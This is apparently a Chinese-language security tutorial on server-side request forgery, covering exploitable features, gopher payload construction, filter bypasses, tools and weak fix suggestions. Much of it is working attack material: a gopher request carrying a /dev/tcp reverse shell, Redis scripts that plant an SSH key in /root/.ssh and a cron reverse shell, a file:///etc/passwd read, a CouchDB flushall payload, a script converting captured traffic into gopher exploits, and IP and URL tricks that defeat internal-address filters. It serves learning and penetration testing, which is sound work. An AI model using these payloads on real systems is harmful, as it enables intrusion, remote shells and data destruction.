SSRF漏洞

全称Server-Side Request Forgery服务器端请求伪造,是一种经攻击者构造形成由服务端发起请求的一个安全漏洞。
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

可利用的点

节选自猪猪侠的《build your ssrf framework》

  • XML
    DTD Remote Access

    XML 外部实体


    URL调用

  • 数据库自带的访问网络的功能
    MongoDB db.copyDatabase('\r\nconfig set dbfilename wyssrf\r\nquit\r\n’,'test','10.6.4.166:6379')
    Oracle
    select UTL_HTTP.REQUEST('http://'||(select version from v$nstance)||'test.com') from dual
    PostgresSQL
    SELECT dblink_send_query('host=127.0.0.1 dbname=quit user=\'\r\nconfig set dbfilename wyssrf\r\n\quit\r\n' password=1 port=6379 sslmode=disable', 'select version();');
    MSSQL

    • SELECT openrowset('SQLOLEDB','server=192.168.1.5;uid=sa;pwd=sa;database=master')
    • SELECT * FROM OpenDatasource('SQLOLEDB','Data Source=ServerName;User ID=sa;Password=sa').Northwind.dbo.Categories

    CouchDB

    POST http://couchdb-server:5984/_replicate
    Content-Type: application/json
    Accept: application/json
    
    { "source" : "recipes",
    "target" : "dict://redis.wuyun.org:6379/flushall",}
  • 应用系统中设置远程服务器的功能
  • 文件处理、编码处理、属性信息处理(应用系统的自动预览功能)
    • FFmpeg concat:http://wyssrf.wuyun.org/header.y4m|file:///etc/passwd
    • ImageMagick (mvg) fill 'url(http://wyssrf.wuyun.org)'
    • XML parsers ( XSLT ) XSLT包含了100个内置函数(能访问网络?)
      document() include() import()
  • python urllib http头注入,好像是哪个cve?
    利用如下的url http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:ur10ser/test
    服务器返回
GET /test HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
X-injected: header
x-leftover: :ur10ser
Connection: close

协议扩大攻击面

主要攻击 redis、discuz、fastcgi、memcache、内网脆弱应用这几类应用,主要利用gopher协议,以及filedict

  • dict://fuzz.wuyun.org:8080/helo:dict
  • file:///etc/passwd

注意
大部分 PHP 并不会开启 fopen 的 gopher wrapper
file_get_contents 的 gopher 协议不能 UrlEncode
file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),7.45以上无此bug
curl_exec() 默认不跟踪跳转,
file_get_contents() 支持php://input协议

java中支持的协议更为有限,file ftp mailto http https jar netdoc,比较有用的就file和http协议了。

构造Gopher载荷

gopher可以向任何端口发送任意形式的请求,构造方法与http类似。基本结构如下:
URL:gopher://:/_后接TCP数据流
比如http的POST请求,在gopher中是这样的
gopher://test.com/_POST /exp.php HTTP/1.1%0d%0aHost: test.com_ip%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: */*%0d%0aContent-Length: 49%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0ae=bash -i >%2526 /dev/tcp/172.19.23.228/2333 0>%25261null

以喜闻乐见的redis为例。替换成自己的redis IP和端口。
上传公钥的脚本

(echo -e "\n\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n\n") > upload.txt
cat ~/upload.txt | redis-cli -h $1 -p $2 -x set tmp
redis-cli -h $1 -p $2 -x config set dir /root/.ssh
redis-cli -h $1 -p $2 -x config set dbfilename authorized_keys
redis-cli -h $1 -p $2 -x get tmp
redis-cli -h $1 -p $2 -x save
redis-cli -h $1 -p $2 -x quit

反弹shell的脚本

echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

用socat监听4444端口,将流量转发到6379端口,同时会把请求流量记录到文件
socat -v tcp-listen:4444,fork tcp-connect:192.168.70.128:6379 2>&1|tee socat.log
执行脚本 bash shell.sh 127.0.0.1 4444,图略

为了将流量转化为gopher协议,先了解下socat记录tcp流的格式:

  • >开头一行表示客户端发送了一个tcp包
  • <开头一行表示服务器返回了一个tcp包

基于以上格式,要这么转换

  • 字符串\r替换成%0d%0a
  • 空白行替换为%0a
  • 空格替换成%20
  • 再使用urlencode(给php时会做一次decode,curl再做一次decode)
....
    # 判断倒数第2、3字符串是否为\r
    if line[-3:-1] == r'\r':
       # 如果该行只有\r,将\r替换成%0a%0d%0a
       if len(line) == 3:
           exp = exp + '%0a%0d%0a'
       else:
           line = line.replace(r'\r', '%0d%0a')
           # 去掉最后的换行符
           line = line.replace('\n', '')
           exp = exp + line
    # 判断是否是空行,空行替换为%0a
    elif line == '\x0a':
       exp = exp + '%0a'
    else:
       line = line.replace(' ', '%20')
       line = line.replace('\n', '')
       exp = exp + line
exp=quote(exp)

如果是单次请求如php fastcgi,可以考虑用nc -lvvp 9000>1.txt来转储请求包

绕过

数字地址绕过

一般来说,开发者会使用正则对传入的URL进行匹配,过滤掉内网IP,比如:
192.168.*.*10.0.*.*等。

^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-
5]|[01]?\d?\d)){2}$
^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

四位点分十进制形式的IP地址127.0.0.1代表一组32位二进制数码,如果合在一起再转换成一个十进制数的话,答案就是1945096731。
127*256^3+0*256^2+0*256^1+1*256^0=
1929379840+15663104+53760+27=2130706433
比如:百度的IP地址“119.75.218.77”转换成数字地址就是“2001459789”

可以改变ip的写法来绕过,各进制可以互相混用

  • 8进制格式:0300.0250.0.1
  • 16进制格式:0xC0.0xA8.0.1
  • 10进制整数格式:3232235521
  • 16进制整数格式:0xC0A80001

xip.ionip.io

这是一个神奇的域名,nslookup 127.127.127.127.xip.io看看

利用URL解析的问题

完整的URL scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]

许多URL方案保留某些特殊含义的字符:字符“;”,“/”,“?”,“:”,“@”,“=”和“&”可以保留用于方案内的特殊含义。在方案中不能保留其他字符。
分号(“;”)和等于(“=”)保留字符通常用于分隔适用于该段的参数和参数值。逗号(“,”)保留字符通常用于类似目的

http://[email protected]
http://google.com:[email protected]:22/#[email protected]:80/
http://127.88.23.245:22/[email protected]:80#[email protected]:80/
http://google.com:[email protected]:80#[email protected]:22/
http://127.88.23.245:22/[email protected]:80/
http://127.88.23.245:22/#@www.google.com:80/

其他办法

  1. URL任意跳转 找到一个子域名或者白名单域名的任意跳转
  2. 重定向
  3. 利用符号,比如点号换成句号,或者利用Enclosed alphanumerics
  4. Dns Rebinding 自建DNS服务器,服务端第一次进行解析返回的是内网ip,绕过验证之后,真正发起请求时解析的结果反而是外网ip。域名的ttl时间要设置为0

测试工具

https://github.com/swisskyrepo/SSRFmap 整合了常见的内网应用的攻击面
https://github.com/iamultra/ssrfsocks 顾名思义,利用SSRF+Gopher做成一个socks代理
https://github.com/tarunkant/Gopherus 构造常见的内网应用的gopher请求

修复建议

限制请求的协议为http或者https?
提取host,验证ip是否为内网?
好像并没有什么好的修复方法。

参考
https://blog.chaitin.cn/gopher-attack-surfaces/
https://www.cnblogs.com/mrchang/p/6254634.html
https://github.com/cujanovic/SSRF-Testing 有转换ip的脚本
https://anemone.top/ssrf-SSRF%E6%88%90%E5%9B%A0%E3%80%81%E6%94%BB%E5%87%BB%E5%92%8C%E9%98%B2%E5%BE%A1/

你可能感兴趣的:(SSRF漏洞)